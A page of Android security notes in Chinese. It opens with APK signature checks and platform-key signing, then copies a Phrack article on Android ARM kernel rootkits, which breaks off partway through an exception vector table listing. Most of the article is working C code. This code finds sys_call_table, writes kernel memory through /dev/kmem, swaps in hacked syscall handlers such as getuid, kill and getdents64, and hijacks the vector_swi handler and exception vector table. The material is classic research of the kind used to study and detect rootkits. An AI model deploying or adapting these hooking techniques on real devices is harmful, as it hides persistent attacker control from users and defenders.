Android Security ¶
确认签名 ¶
Debug签名:
$ jarsigner -verify -certs -verbose bin/TemplateGem.apk
sm 2525 Sun Jun 02 23:44:06 CST 2013 assets/XmlPullParser
X.509, CN=Android Debug, O=Android, C=US
[证书的有效期为 12-10-10 下午9:48 至 42-10-3 下午9:48]
...
sm 544036 Sun Jun 02 23:44:06 CST 2013 classes.dex
X.509, CN=Android Debug, O=Android, C=US
[证书的有效期为 12-10-10 下午9:48 至 42-10-3 下午9:48]
6508 Sun Jun 02 23:44:06 CST 2013 META-INF/MANIFEST.MF
6561 Sun Jun 02 23:44:06 CST 2013 META-INF/CERT.SF
776 Sun Jun 02 23:44:06 CST 2013 META-INF/CERT.RSA
s = 已验证签名
m = 在清单中列出条目
k = 在密钥库中至少找到了一个证书
i = 在身份作用域内至少找到了一个证书
jar 已验证。
第三方系统签名:
$ jarsigner -verify -certs -verbose SettingsProvider.apk
379 Wed Jun 22 22:25:12 CST 2011 META-INF/MANIFEST.MF
421 Wed Jun 22 22:25:12 CST 2011 META-INF/CERT.SF
1772 Wed Jun 22 22:25:12 CST 2011 META-INF/CERT.RSA
sm 1864 Wed Jun 22 22:25:12 CST 2011 AndroidManifest.xml
X.509, EMAILADDRESS=android.os@samsung.com, CN=Samsung Cert, OU=DMC, O=Samsung Corporation, L=Suwon City, ST=South Korea, C=KR
[证书的有效期为 11-6-22 下午8:25 至 38-11-7 下午8:25]
sm 6688 Wed Jun 22 22:25:12 CST 2011 res/drawable-hdpi/ic_launcher_settings.png
X.509, EMAILADDRESS=android.os@samsung.com, CN=Samsung Cert, OU=DMC, O=Samsung Corporation, L=Suwon City, ST=South Korea, C=KR
[证书的有效期为 11-6-22 下午8:25 至 38-11-7 下午8:25]
sm 1360 Wed Jun 22 22:25:12 CST 2011 res/xml/bookmarks.xml
X.509, EMAILADDRESS=android.os@samsung.com, CN=Samsung Cert, OU=DMC, O=Samsung Corporation, L=Suwon City, ST=South Korea, C=KR
[证书的有效期为 11-6-22 下午8:25 至 38-11-7 下午8:25]
sm 12900 Wed Jun 22 22:25:12 CST 2011 resources.arsc
X.509, EMAILADDRESS=android.os@samsung.com, CN=Samsung Cert, OU=DMC, O=Samsung Corporation, L=Suwon City, ST=South Korea, C=KR
[证书的有效期为 11-6-22 下午8:25 至 38-11-7 下午8:25]
s = 已验证签名
m = 在清单中列出条目
k = 在密钥库中至少找到了一个证书
i = 在身份作用域内至少找到了一个证书
jar 已验证
使用系统签名 ¶
- 在编译环境下, 修改Android.mk
LOCAL_CERTIFICATE := platform
- 脚本签名
#!/bin/sh ANDROID_HOME='' PEM=${ANDROID_HOME}/build/target/product/security/platform.x509.pem PK8=${ANDROID_HOME}/build/target/product/security/platform.pk8 if [ $# -ne 2 ] then echo Usage $0 in.apk out.apk exit 1 fi java -jar ${ANDROID_HOME}/out/host/linux-x86/framework/signapk.jar ${PEM} ${PK8} $1 $2
计算证书摘要信息 ¶
public static String getPackageCertFingerprint(PackageManager pm, String packageName) {
int flags = PackageManager.GET_SIGNATURES;
PackageInfo packageInfo = null;
try {
packageInfo = pm.getPackageInfo(packageName, flags);
} catch (NameNotFoundException e) {
e.printStackTrace();
}
Signature[] signatures = packageInfo.signatures;
if (signatures == null) {
return "-";
}
byte[] cert = signatures[0].toByteArray();
InputStream input = new ByteArrayInputStream(cert);
CertificateFactory cf = null;
try {
cf = CertificateFactory.getInstance("X509");
} catch (CertificateException e) {
e.printStackTrace();
}
X509Certificate c = null;
try {
c = (X509Certificate) cf.generateCertificate(input);
} catch (CertificateException e) {
e.printStackTrace();
}
StringBuffer hexString = new StringBuffer();
try {
MessageDigest md = MessageDigest.getInstance("SHA1");
byte[] publicKey = md.digest(c.getPublicKey().getEncoded());
for (int i = 0; i < publicKey.length; i++) {
String appendString = Integer.toHexString(0xFF & publicKey[i]);
if (appendString.length() == 1)
hexString.append("0");
hexString.append(appendString);
}
} catch (NoSuchAlgorithmException e1) {
e1.printStackTrace();
}
return hexString.toString();
}
获取平台证书的摘要 ¶
public static String getCertFingerprintsBySharedUid(PackageManager pm, String uid) {
List<PackageInfo> xs = pm.getInstalledPackages(PackageManager.GET_PERMISSIONS | PackageManager.GET_SIGNATURES);
String digest;
for (PackageInfo x : xs) {
if (!TextUtils.isEmpty(x.sharedUserId) && x.sharedUserId.equalsIgnoreCase(uid)) {
if (x.signatures != null) {
digest = getPackageCertFingerprint(pm, x.packageName);
return digest;
}
}
}
return "";
}
...
String platformCertDigest = getCertFingerprintsBySharedUid(mPm, "android.uid.system");
==Phrack Inc.==
Volume 0x0e, Issue 0x44, Phile #0x06 of 0x13
|=-----------------------------------------------------------------------=|
|=-----------=[ Android platform based linux kernel rootkit ]=-----------=|
|=-----------------------------------------------------------------------=|
|=-----------------=[ dong-hoon you <x82@inetcop.org> ]=-----------------=|
|=------------------------=[ April 04th 2011 ]=--------------------------=|
|=-----------------------------------------------------------------------=|
--[ Contents
1 - Introduction
2 - Basic techniques for hooking
2.1 - Searching sys_call_table
2.2 - Identifying sys_call_table size
2.3 - Getting over the problem of structure size in kernel versions
2.4 - Treating version magic
3 - sys_call_table hooking through /dev/kmem access technique
4 - modifying sys_call_table handle code in vector_swi handler routine
5 - exception vector table modifying hooking techniques
5.1 - exception vector table
5.2 - Hooking techniques changing vector_swi handler
5.3 - Hooking techniques changing branch instruction offset
6 - Conclusion
7 - References
8 - Appendix: earthworm.tgz.uu
--[ 1 - Introduction
This paper covers rootkit techniques that can be used in linux kernel based
on Android platform using ARM(Advanced RISC Machine) process. All the tests
in this paper were performed in Motoroi XT720 model(2.6.29-omap1 kernel)
and Galaxy S SHW-M110S model(2.6.32.9 kernel). Note that some contents may
not apply to all smart platform machines and there are some bugs you can
modify.
We have seen various linux kernel hooking techniques of some pioneers([1]
[2][3][4][5]). Especially, I appreciate to Silvio Cesare and sd who
introduced and developed the /dev/kmem technique. Read the references for
more information.
In this paper, we are going to discuss a few hooking techniques.
1. Simple and traditional hooking technique using kmem device.
2. Traditional hooking technique changing sys_call_table offset in
vector_swi handler.
3. Two newly developed hooking techniques changing interrupt
service routine handler in exception vector table.
The main concepts of the techniques mentioned in this paper are 'smart' and
'simple'. This is because this paper focuses on hooking through modifying
the least kernel memory and by the simplest way. As the past good
techniques were, hooking must be possible freely before and after system
call.
This paper consists of eight parts and I tried to supply various examples
for readers' convenience by putting abundant appendices. The example codes
are written for ARM architecture, but if you modify some parts, you can use
them in the environment of ia32 architecture and even in the environment
that doesn't support LKM.
--[ 2 - Basic techniques for hooking
sys_call_table is a table which stores the addresses of low-level system
routines. Most of classical hooking techniques interrupt the sys_call_table
for some purposes. Because of this, some protection techniques such as
hiding symbol and moving to the field of read-only have been adapted to
protect sys_call_table from attackers. These protections, however,
can be easily removed if an attacker uses kmem device access technique.
To discuss other techniques making protection useless is beyond the purpose
of this paper.
--[ 2.1 - Searching sys_call_table
If sys_call_table symbol is not exported and there is no sys_call_table
information in kallsyms file which contains kernel symbol table
information, it will be difficult to get the sys_call_table address that
varies on each version of platform kernel. So, we need to research the way
to get the address of sys_call_table without symbol table information.
You can find the similar techniques in the web[10], but apart from this,
this paper is written to meet the Android platform on the way of testing.
--[ 2.1.1 - Getting sys_call_table address in vector_swi handler
At first, I will introduce the first two ways to get sys_call_table address
The code I will introduce here is written dependently in the interrupt
implementation of ARM process.
Generally, in the case of ARM process, when interrupt or exception happens,
it branches to the exception vector table. In that exception vector table,
there are exception hander addresses that match each exception handler
routines. The kernel of present Android platform uses high vector
(0xffff0000) and at the point of 0xffff0008, offset by 0x08, there is a 4
byte instruction to branch to the software interrupt handler. When the
instruction runs, the address of the software interrupt handler stored in
the address 0xffff0420, offset by 0x420, is called. See the section 5.1 for
more information.
void get_sys_call_table(){
void *swi_addr=(long *)0xffff0008;
unsigned long offset=0;
unsigned long *vector_swi_addr=0;
unsigned long sys_call_table=0;
offset=((*(long *)swi_addr)&0xfff)+8;
vector_swi_addr=*(unsigned long *)(swi_addr+offset);
while(vector_swi_addr++){
if(((*(unsigned long *)vector_swi_addr)&
0xfffff000)==0xe28f8000){
offset=((*(unsigned long *)vector_swi_addr)&
0xfff)+8;
sys_call_table=(void *)vector_swi_addr+offset;
break;
}
}
return;
}
At first, this code gets the address of vector_swi routine(software
interrupt process exception handler) in the exception vector table of high
vector and then, gets the address of a code that handles the
sys_call_table address. The followings are some parts of vector_swi handler
code.
000000c0 <vector_swi>:
c0: e24dd048 sub sp, sp, #72 ; 0x48 (S_FRAME_SIZE)
c4: e88d1fff stmia sp, {r0 - r12} ; Calling r0 - r12
c8: e28d803c add r8, sp, #60 ; 0x3c (S_PC)
cc: e9486000 stmdb r8, {sp, lr}^ ; Calling sp, lr
d0: e14f8000 mrs r8, SPSR ; called from non-FIQ mode, so ok.
d4: e58de03c str lr, [sp, #60] ; Save calling PC
d8: e58d8040 str r8, [sp, #64] ; Save CPSR
dc: e58d0044 str r0, [sp, #68] ; Save OLD_R0
e0: e3a0b000 mov fp, #0 ; 0x0 ; zero fp
e4: e3180020 tst r8, #32 ; 0x20 ; this is SPSR from save_user_regs
e8: 12877609 addne r7, r7, #9437184; put OS number in
ec: 051e7004 ldreq r7, [lr, #-4]
f0: e59fc0a8 ldr ip, [pc, #168] ; 1a0 <__cr_alignment>
f4: e59cc000 ldr ip, [ip]
f8: ee01cf10 mcr 15, 0, ip, cr1, cr0, {0} ; update control register
fc: e321f013 msr CPSR_c, #19 ; 0x13 enable_irq
100: e1a096ad mov r9, sp, lsr #13 ; get_thread_info tsk
104: e1a09689 mov r9, r9, lsl #13
[*]108: e28f8094 add r8, pc, #148 ; load syscall table pointer
10c: e599c000 ldr ip, [r9] ; check for syscall tracing
The asterisk part is the code of sys_call_table. This code notifies the
start of sys_call_table at the appointed offset from the present pc
address. So, we can get the offset value to figure out the position of
sys_call_table if we can find opcode pattern corresponding to "add r8, pc"
instruction.
opcode: 0xe28f8???
if(((*(unsigned long *)vector_swi_addr)&0xfffff000)==0xe28f8000){
offset=((*(unsigned long *)vector_swi_addr)&0xfff)+8;
sys_call_table=(void *)vector_swi_addr+offset;
break;
From this, we can get the address of sys_call_table handled in
vector_swi handler routine. And there is an easier way to do this.
--[ 2.1.2 - Finding sys_call_table addr through sys_close addr searching
The second way to get the address of sys_call_table is simpler than the way
introduced in 2.1.1. This way is to find the address by using the fact that
sys_close address, with open symbol, is in 0x6 offset from the starting
point of sys_call_table.
... the same vector_swi address searching routine parts omitted ...
while(vector_swi_addr++){
if(*(unsigned long *)vector_swi_addr==&sys_close){
sys_call_table=(void *)vector_swi_addr-(6*4);
break;
}
}
}
By using the fact that sys_call_table resides after vector_swi handler
address, we can search the sys_close which is appointed as the sixth system
call of sys_table_call.
fs/open.c:
EXPORT_SYMBOL(sys_close);
...
call.S:
/* 0 */ CALL(sys_restart_syscall)
CALL(sys_exit)
CALL(sys_fork_wrapper)
CALL(sys_read)
CALL(sys_write)
/* 5 */ CALL(sys_open)
CALL(sys_close)
This searching way has a technical disadvantage that we must get the
sys_close kernel symbol address beforehand if it's implemented in user
mode.
--[ 2.2 - Identifying sys_call_table size
The hooking technique which will be introduced in section 4 changes the
sys_call_table handle code within vector_swi handler. It generates the copy
of the existing sys_call_table in the heap memory. Because the size of
sys_call_table varies in each platform kernel version, we need a precise
size of sys_call_table to generate a copy.
... the same vector_swi address searching routine parts omitted ...
while(vector_swi_addr++){
if(((*(unsigned long *)vector_swi_addr)&
0xffff0000)==0xe3570000){
i=0x10-(((*(unsigned long *)vector_swi_addr)&
0xff00)>>8);
size=((*(unsigned long *)vector_swi_addr)&
0xff)<<(2*i);
break;
}
}
}
This code searches code which controls the size of sys_call_table within
vector_swi routine and then gets the value, the size of sys_call_table.
The following code determines the size of sys_call_table, and it makes a
part of a function that calls system call saved in sys_call_table.
118: e92d0030 stmdb sp!, {r4, r5} ; push fifth and sixth args
11c: e31c0c01 tst ip, #256 ; are we tracing syscalls?
120: 1a000008 bne 148 <__sys_trace>
[*]124: e3570f5b cmp r7, #364 ; check upper syscall limit
128: e24fee13 sub lr, pc, #304 ; return address
12c: 3798f107 ldrcc pc, [r8, r7, lsl #2] ; call sys_* routine
The asterisk part compares the size of sys_call_table. This code checks if
the r7 register value which contains system call number is bigger than
syscall limit. So, if we search opcode pattern(0xe357????) corresponding to
"cmp r7", we can get the exact size of sys_call_table. For your
information, all of the offset values can be obtained by using ARM
architecture operand counting method.
--[ 2.3 - Getting over the problem of structure size in kernel versions
Even if you are using the same version of kernels, the size of structure
varies according to the compile environments and config options. Thus, if
we use a wrong structure with a wrong size, it is not likely to work as we
expect. To prevent errors caused by the difference of structure offset and
to enable our code to work in various kernel environments, we need to build
a function which gets the offset needed from the structure.
void find_offset(void){
unsigned char *init_task_ptr=(char *)&init_task;
int offset=0,i;
char *ptr=0;
/* getting the position of comm offset
within task_struct structure */
for(i=0;i<0x600;i++){
if(init_task_ptr[i]=='s'&&init_task_ptr[i+1]=='w'&&
init_task_ptr[i+2]=='a'&&init_task_ptr[i+3]=='p'&&
init_task_ptr[i+4]=='p'&&init_task_ptr[i+5]=='e'&&
init_task_ptr[i+6]=='r'){
comm_offset=i;
break;
}
}
/* getting the position of tasks.next offset
within task_struct structure */
init_task_ptr+=0x50;
for(i=0x50;i<0x300;i+=4,init_task_ptr+=4){
offset=*(long *)init_task_ptr;
if(offset&&offset>0xc0000000){
offset-=i;
offset+=comm_offset;
if(strcmp((char *)offset,"init")){
continue;
} else {
next_offset=i;
/* getting the position of parent offset
within task_struct structure */
for(;i<0x300;i+=4,init_task_ptr+=4){
offset=*(long *)init_task_ptr;
if(offset&&offset>0xc0000000){
offset+=comm_offset;
if(strcmp
((char *)offset,"swapper"))
{
continue;
} else {
parent_offset=i+4;
break;
}
}
}
break;
}
}
}
/* getting the position of cred offset
within task_struct structure */
init_task_ptr=(char *)&init_task;
init_task_ptr+=comm_offset;
for(i=0;i<0x50;i+=4,init_task_ptr-=4){
offset=*(long *)init_task_ptr;
if(offset&&offset>0xc0000000&&offset<0xd0000000&&
offset==*(long *)(init_task_ptr-4)){
ptr=(char *)offset;
if(*(long *)&ptr[4]==0&&
*(long *)&ptr[8]==0&&
*(long *)&ptr[12]==0&&
*(long *)&ptr[16]==0&&
*(long *)&ptr[20]==0&&
*(long *)&ptr[24]==0&&
*(long *)&ptr[28]==0&&
*(long *)&ptr[32]==0){
cred_offset=i;
break;
}
}
}
/* getting the position of pid offset
within task_struct structure */
pid_offset=parent_offset-0xc;
return;
}
This code gets the information of PCB(process control block) using some
features that can be used as patterns of task_struct structure.
First, we need to search init_task for the process name "swapper" to find
out address of "comm" variable within task_struct structure created before
init process. Then, we search for "next" pointer from "tasks" which is a
linked list of process structure. Finally, we use "comm" variable to figure
out whether the process has a name of "init". If it does, we get the offset
address of "next" pointer.
include/linux/sched.h:
struct task_struct {
...
struct list_head tasks;
...
pid_t pid;
...
struct task_struct *real_parent; /* real parent process */
struct task_struct *parent; /* recipient of SIGCHLD,
wait4() reports */
...
const struct cred *real_cred; /* objective and
real subjective task
* credentials (COW) */
const struct cred *cred; /* effective (overridable)
subjective task */
struct mutex cred_exec_mutex; /* execve vs ptrace cred
calculation mutex */
char comm[TASK_COMM_LEN]; /* executable name ... */
After this, we get the parent pointer by checking some pointers. And if
this is a right parent pointer, it has the name of previous task(init_task)
process, swapper. The reason we search the address of parent pointer is to
get the offset of pid variable by using a parent offset as a base point.
To get the position of cred structure pointer related with task privilege,
we perform backward search from the point of comm variable and check if the
id of each user is 0.
--[ 2.4 - Treating version magic
Check the whitepaper[11] of Christian Papathanasiou and Nicholas J. Percoco
in Defcon 18. The paper introduces the way of treating version magic by
modifying the header of utsrelease.h when we compile LKM rootkit module.
In fact, I have used a tool which overwrites the vermagic value of compiled
kernel module binary directly before they presented.
--[ 3 - sys_call_table hooking through /dev/kmem access technique
I hope you take this section as a warming-up. If you want to know more
detailed background knowledge about /dev/kmem access technique, check the
"Run-time kernel patching" by Silvio and "Linux on-the-fly kernel patching
without LKM" by sd.
At least until now, the root privilege of access to /dev/kmem device within
linux kernel in Android platform is allowed. So, it is possible to move
through lseek() and to read through read(). Newly written /dev/kmem access
routines are as follows.
#define MAP_SIZE 4096UL
#define MAP_MASK (MAP_SIZE - 1)
int kmem;
/* read data from kmem */
void read_kmem(unsigned char *m,unsigned off,int sz)
{
int i;
void *buf,*v_addr;
if((buf=mmap(0,MAP_SIZE*2,PROT_READ|PROT_WRITE,
MAP_SHARED,kmem,off&~MAP_MASK))==(void *)-1){
perror("read: mmap error");
exit(0);
}
for(i=0;i<sz;i++){
v_addr=buf+(off&MAP_MASK)+i;
m[i]=*((unsigned char *)v_addr);
}
if(munmap(buf,MAP_SIZE*2)==-1){
perror("read: munmap error");
exit(0);
}
return;
}
/* write data to kmem */
void write_kmem(unsigned char *m,unsigned off,int sz)
{
int i;
void *buf,*v_addr;
if((buf=mmap(0,MAP_SIZE*2,PROT_READ|PROT_WRITE,
MAP_SHARED,kmem,off&~MAP_MASK))==(void *)-1){
perror("write: mmap error");
exit(0);
}
for(i=0;i<sz;i++){
v_addr=buf+(off&MAP_MASK)+i;
*((unsigned char *)v_addr)=m[i];
}
if(munmap(buf,MAP_SIZE*2)==-1){
perror("write: munmap error");
exit(0);
}
return;
}
This code makes the kernel memory address we want shared with user memory
area as much as the size of two pages and then we can read and write the
kernel by reading and writing on the shared memory. Even though the
searched sys_call_table is allocated in read-only area, we can simply
modify the contents of sys_call_table through /dev/kmem access technique.
The example of hooking through sys_call_table modification is as follows.
kmem=open("/dev/kmem",O_RDWR|O_SYNC);
if(kmem<0){
return 1;
}
...
if(c=='I'||c=='i'){ /* install */
addr_ptr=(char *)get_kernel_symbol("hacked_getuid");
write_kmem((char *)&addr_ptr,addr+__NR_GETUID*4,4);
addr_ptr=(char *)get_kernel_symbol("hacked_writev");
write_kmem((char *)&addr_ptr,addr+__NR_WRITEV*4,4);
addr_ptr=(char *)get_kernel_symbol("hacked_kill");
write_kmem((char *)&addr_ptr,addr+__NR_KILL*4,4);
addr_ptr=(char *)get_kernel_symbol("hacked_getdents64");
write_kmem((char *)&addr_ptr,addr+__NR_GETDENTS64*4,4);
} else if(c=='U'||c=='u'){ /* uninstall */
...
}
close(kmem);
The attack code can be compiled in the mode of LKM module and general ELF32
executable file format.
--[ 4 - modifying sys_call_table handle code in vector_swi handler routine
The techniques introduced in section 3 are easily detected by rootkit
detection tools. So, some pioneers have researched the ways which modify
some parts of exception handler function processing software interrupt.
The technique introduced in this section generates a copy version of
sys_call_table in kernel heap memory without modifying the
sys_call_table directly.
static void *hacked_sys_call_table[500];
static void **sys_call_table;
int sys_call_table_size;
...
int init_module(void){
...
get_sys_call_table(); // position and size of sys_call_table
memcpy(hacked_sys_call_table,sys_call_table,sys_call_table_size*4);
After generating this copy version, we have to modify some parts of
sys_call_table processed within vector_swi handler routine. It is because
sys_call_table is handled as a offset, not an address. It is a feature that
separates ARM architecture from ia32 architecture.
code before compile:
ENTRY(vector_swi)
...
get_thread_info tsk
adr tbl, sys_call_table ; load syscall table pointer
~~~~~~~~~~~~~~~~~~~~~~~~~~~ -> code of sys_call_table
ldr ip, [tsk, #TI_FLAGS] ; @ check for syscall tracing
code after compile:
000000c0 <vector_swi>:
...
100: e1a096ad mov r9, sp, lsr #13 ; get_thread_info tsk
104: e1a09689 mov r9, r9, lsl #13
[*]108: e28f8094 add r8, pc, #148 ; load syscall table pointer
~~~~~~~~~~~~~~~~~~~~
+-> deal sys_call_table as relative offset
10c: e599c000 ldr ip, [r9] ; check for syscall tracing
So, I contrived a hooking technique modifying "add r8, pc, #offset" code
itself like this.
before modifying: e28f80?? add r8, pc, #??
after modifying: e59f80?? ldr r8, [pc, #??]
These instructions get the address of sys_call_table at the specified
offset from the present pc address and then store it in r8 register. As a
result, the address of sys_call_table is stored in r8 register. Now, we
have to make a separated space to store the address of sys_call_table copy
near the processing routine. After some consideration, I decided to
overwrite nop code of other function's epilogue near vector_swi handler.
00000174 <__sys_trace_return>:
174: e5ad0008 str r0, [sp, #8]!
178: e1a02007 mov r2, r7
17c: e1a0100d mov r1, sp
180: e3a00001 mov r0, #1 ; 0x1
184: ebfffffe bl 0 <syscall_trace>
188: eaffffb1 b 54 <ret_to_user>
[*]18c: e320f000 nop {0}
~~~~~~~~ -> position to overwrite the copy of sys_call_table
190: e320f000 nop {0}
...
000001a0 <__cr_alignment>:
1a0: 00000000 ....
000001a4 <sys_call_table>:
Now, if we count the offset from the address of sys_call_table to the
address overwritten with the address of sys_call_table copy and then modify
code, we can use the table we copied whenever system call is called. The
hooking code modifying some parts of vector_swi handling routine and nop
code near the address of sys_call_table is as follows:
void install_hooker(){
void *swi_addr=(long *)0xffff0008;
unsigned long offset=0;
unsigned long *vector_swi_addr=0,*ptr;
unsigned char buf[MAP_SIZE+1];
unsigned long modify_addr1=0;
unsigned long modify_addr2=0;
unsigned long addr=0;
char *addr_ptr;
offset=((*(long *)swi_addr)&0xfff)+8;
vector_swi_addr=*(unsigned long *)(swi_addr+offset);
memset((char *)buf,0,sizeof(buf));
read_kmem(buf,(long)vector_swi_addr,MAP_SIZE);
ptr=(unsigned long *)buf;
/* get the address of ldr that handles sys_call_table */
while(ptr){
if(((*(unsigned long *)ptr)&0xfffff000)==0xe28f8000){
modify_addr1=(unsigned long)vector_swi_addr;
break;
}
ptr++;
vector_swi_addr++;
}
/* get the address of nop that will be overwritten */
while(ptr){
if(*(unsigned long *)ptr==0xe320f000){
modify_addr2=(unsigned long)vector_swi_addr;
break;
}
ptr++;
vector_swi_addr++;
}
/* overwrite nop with hacked_sys_call_table */
addr_ptr=(char *)get_kernel_symbol("hacked_sys_call_table");
write_kmem((char *)&addr_ptr,modify_addr2,4);
/* calculate fake table offset */
offset=modify_addr2-modify_addr1-8;
/* change sys_call_table offset into fake table offset */
addr=0xe59f8000+offset; /* ldr r8, [pc, #offset] */
addr_ptr=(char *)addr;
write_kmem((char *)&addr_ptr,modify_addr1,4);
return;
}
This code gets the address of the code that handles sys_call_table within
vector_swi handler routine, and then finds nop code around and stores the
address of hacked_sys_call_table which is a copy version of sys_call_table.
After this, we get the sys_call_table handle code from the offset in which
hacked_sys_call_table resides and then hooking starts.
--[ 5 - exception vector table modifying hooking techniques
This section discusses two hooking techniques, one is the hooking technique
which changes the address of software interrupt exception handler routine
within exception vector table and the other is the technique which changes
the offset of code branching to vector_swi handler. The purpose of these
two techniques is to implement the hooking technique that modifies only
exception vector table without changing sys_call_table and vector_swi
handler.
--[ 5.1 - exception vector table
Exception vector table contains the address of various exception handler
routines, branch code array and processing codes to call the exception
handler routine. These are declared in entry-armv.S, copied to the point of
the high vector(0xffff0000) by early_trap_init() routine within traps.c
code, and make one exception vector table.
traps.c:
void __init early_trap_init(void)
{
unsigned long vectors = CONFIG_VECTORS_BASE; /* 0xffff0000 */
extern char __stubs_start[], __stubs_end[];
extern char __vectors_start[], __vectors_end[];
extern char __kuser_helper_start[], __kuser_helper_end[];
int kuser_sz = __kuser_helper_end - __kuser_helper_start;
/*
* Copy the vectors, stubs and kuser helpers
(in entry-armv.S)
* into the vector page, mapped at 0xffff0000,
and ensure these
* are visible to the instruction stream.
*/
memcpy((void *)vectors, __vectors_start,
__vectors_end - __vectors_start);
memcpy((void *)vectors + 0x200, __stubs_start,
__stubs_end - __stubs_start);
After the processing codes are copied in order by early_trap_init()
routine, the exception vector table is initialized, then one exception
vector table is made as follows.
# ./coelacanth -e
[000] ffff0000: ef9f0000 [Reset] ; svc 0x9f0000 branch code array
[004] ffff0004: ea0000dd [Undef] ; b 0x380
[008] ffff0008: e59ff410 [SWI] ; ldr pc, [pc, #1040] ; 0x420
[00c] ffff000c: ea0000bb [Abort-perfetch] ; b 0x300
[010] ffff0010: ea00009a [Abort-data] ; b 0x280
[014] ffff0014: ea0000fa [Reserved] ; b 0x404
[018] ffff0018: ea000078 [IRQ] ; b 0x608
[01c] ffff001c: ea0000f7 [FIQ] ; b 0x400
[020] Reserved
... skip ...
[22c] ffff022c: c003dbc0 [__irq_usr] ; exception handler routine addr array
[230] ffff0230: c003d920 [__irq_invalid]
[234] ffff0234: c003d920 [__irq_invalid]
[238] ffff0238: c003d9c0 [__irq_svc]
[23c] ffff023c: c003d920 [__irq_invalid]
...
[420] ffff0420: c003df40 [vector_swi]
When software interrupt occurs, 4 byte instruction at 0xffff0008 is
executed. The code copies the present pc to the address of exception
handler and then branches. In other words, it branches to the vector_swi
handler routine at 0x420 of exception vector table.
--[ 5.2 - Hooking techniques changing vector_swi handler
The hooking technique changing the vector_swi handler is the first one that
will be introduced. It changes the address of exception handler routine
that processes software interrupt within exception vector table and calls
the vector_swi handler routine forged by an attacker.
1. Generate the copy version of sys_call_table in kernel heap and
then change the address of routine as aforementioned.
2. Copy not all vector_swi handler routine but the code before
handling sys_call_table to kernel heap for simple hooking.
3. Fill the values with right values for the copied fake vector_swi
handler routine to act normally and change the code to call the
address of sys_call_table copy version. (generated in step 1)
4. Jump to the next position of sys_call_table handle code of
original vector_swi handler routine.
5. Change the address of vector_swi handler routine of exception
vector table to the address of fake vector_swi handler code.
The completed fake vector_swi handler has a code like following.
00000000 <new_vector_swi>:
00: e24dd048 sub sp, sp, #72 ; 0x48
04: e88d1fff stmia sp, {r0 - r12}
08: e28d803c add r8, sp, #60 ; 0x3c
0c: e9486000 stmdb r8, {sp, lr}^
10: e14f8000 mrs r8, SPSR
14: e58de03c str lr, [sp, #60]
18: e58d8040 str r8, [sp, #64]
1c: e58d0044 str r0, [sp, #68]
20: e3a0b000 mov fp, #0 ; 0x0
24: e3180020 tst r8, #32 ; 0x20
28: 12877609 addne r7, r7, #9437184
2c: 051e7004 ldreq r7, [lr, #-4]
[*]30: e59fc020 ldr ip, [pc, #32] ; 0x58 <__cr_alignment>
34: e59cc000 ldr ip, [ip]
38: ee01cf10 mcr 15, 0, ip, cr1, cr0, {0}
3c: f1080080 cpsie i
40: e1a096ad mov r9, sp, lsr #13
44: e1a09689 mov r9, r9, lsl #13
[*]48: e59f8000 ldr r8, [pc, #0]
[*]4c: e59ff000 ldr pc, [pc, #0]
[*]50: <hacked_sys_call_table address>
[*]54: <vector_swi address to jmp>
[*]58: <__cr_alignment routine address referring at 0x30>
The asterisk parts are the codes modified or added to the original code. In
addition to the part that we modified to make the code refer __cr_alignment
function, I added some instructions to save address of sys_call_table copy
version to r8 register, and jump back to the original vector_swi handler
function. Following is the attack code written as a kernel module.
static unsigned char new_vector_swi[500];
...
void make_new_vector_swi(){
void *swi_addr=(long *)0xffff0008;
void *vector_swi_ptr=0;
unsigned long offset=0;
unsigned long *vector_swi_addr=0,orig_vector_swi_addr=0;
unsigned long add_r8_pc_addr=0;
unsigned long ldr_ip_pc_addr=0;
int i;
offset=((*(long *)swi_addr)&0xfff)+8;
vector_swi_addr=*(unsigned long *)(swi_addr+offset);
vector_swi_ptr=swi_addr+offset; /* 0xffff0420 */
orig_vector_swi_addr=vector_swi_addr; /* vector_swi's addr */
/* processing __cr_alignment */
while(vector_swi_addr++){
if(((*(unsigned long *)vector_swi_addr)&
0xfffff000)==0xe28f8000){
add_r8_pc_addr=(unsigned long)vector_swi_addr;
break;
}
/* get __cr_alingment's addr */
if(((*(unsigned long *)vector_swi_addr)&
0xfffff000)==0xe59fc000){
offset=((*(unsigned long *)vector_swi_addr)&
0xfff)+8;
ldr_ip_pc_addr=*(unsigned long *)
((char *)vector_swi_addr+offset);
}
}
/* creating fake vector_swi handler */
memcpy(new_vector_swi,(char *)orig_vector_swi_addr,
(add_r8_pc_addr-orig_vector_swi_addr));
offset=(add_r8_pc_addr-orig_vector_swi_addr);
for(i=0;i<offset;i+=4){
if(((*(long *)&new_vector_swi[i])&
0xfffff000)==0xe59fc000){
*(long *)&new_vector_swi[i]=0xe59fc020;
// ldr ip, [pc, #32]
break;
}
}
/* ldr r8, [pc, #0] */
*(long *)&new_vector_swi[offset]=0xe59f8000;
offset+=4;
/* ldr pc, [pc, #0] */
*(long *)&new_vector_swi[offset]=0xe59ff000;
offset+=4;
/* fake sys_call_table */
*(long *)&new_vector_swi[offset]=hacked_sys_call_table;
offset+=4;
/* jmp original vector_swi's addr */
*(long *)&new_vector_swi[offset]=(add_r8_pc_addr+4);
offset+=4;
/* __cr_alignment's addr */
*(long *)&new_vector_swi[offset]=ldr_ip_pc_addr;
offset+=4;
/* change the address of vector_swi handler
within exception vector table */
*(unsigned long *)vector_swi_ptr=&new_vector_swi;
return;
}
This code gets the address which processes the sys_call_table within
vector_swi handler routine and then copies original contents of vector_swi
to the fake vector_swi variable before the address we obtained. After
changing some parts of fake vector_swi to make the code refer _cr_alignment
function address correctly, we need to add instructions that save the
address of sys_call_table copy version to r8 register and jump back to the
original vector_swi handler function. Finally, hooking starts when we
modify the address of vector_swi handler function within exception vector
table.
--[ 5.3 - Hooking techniques changing branch instruction offset
The second hooking technique to change the branch instruction offset within
exception vector table is that we don't change vector_swi handler and
change the offset of 4 byte branch instruction code called automatically
when the software interrupt occurs.
1. Proceed to step 4 like the way in section 5.1.
2. Store the address of generated fake vector_swi handler routine
in the specific area within exception vector table.
3. Change 1 byte which is an offset of 4 byte instruction codes at
0xffff0008 and store.
The code compared with section 5.2 is as follows.
- *(unsigned long *)vector_swi_ptr=&new_vector_swi;
...
+ *(unsigned long *)(vector_swi_ptr+4)=&new_vector_swi; /* 0xffff0424 */
...
+ *(unsigned long *)swi_addr+=4; /* 0xe59ff410 -> 0xe59ff414 */
The changed exception vector table after hooking is as follows.
# ./coelacanth -e
[000] ffff0000: ef9f0000 [Reset] ; svc 0x9f0000 branch code array
[004] ffff0004: ea0000dd [Undef] ; b 0x380
